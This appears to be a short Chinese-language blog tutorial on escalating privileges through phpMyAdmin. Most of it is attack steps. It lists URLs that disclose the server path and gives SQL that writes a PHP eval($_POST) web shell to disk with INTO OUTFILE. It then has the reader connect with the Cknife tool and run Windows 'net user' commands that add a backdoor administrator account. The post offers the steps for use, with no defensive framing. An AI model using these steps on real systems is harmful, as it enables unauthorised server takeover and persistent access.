共计 820 个字符，预计需要花费 3 分钟才能阅读完成。
自动写代码机器人，免费开通
这篇文章主要介绍了如何利用 phpMyAdmin 提权，具有一定借鉴价值，感兴趣的朋友可以参考下，希望大家阅读完这篇文章之后大有收获，下面让丸趣 TV 小编带着大家一起了解一下。
利用 phpMyAdmin 提权
爆路径
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
/load_file()
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
得到物理路径 C:\wamp\www\phpmyadmin\themes\darkblue_orange\layout.inc.php
写马
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES(?php eval($_POST[Cknife]);?
select cmd from a into outfile C:/wamp/www/phpmyadmin/d.php
Drop TABLE IF EXISTS a;获得 webshell
最后用 Cknife 连接，创建帐户并添加到管理员用户组
net user admin admin /add
net localgroup administrator admin /add
感谢你能够认真阅读完这篇文章，希望丸趣 TV 小编分享的“如何利用 phpMyAdmin 提权”这篇文章对大家有帮助，同时也希望大家多多支持丸趣 TV，关注丸趣 TV 行业资讯频道，更多相关知识等着你来学习!
向 AI 问一下细节
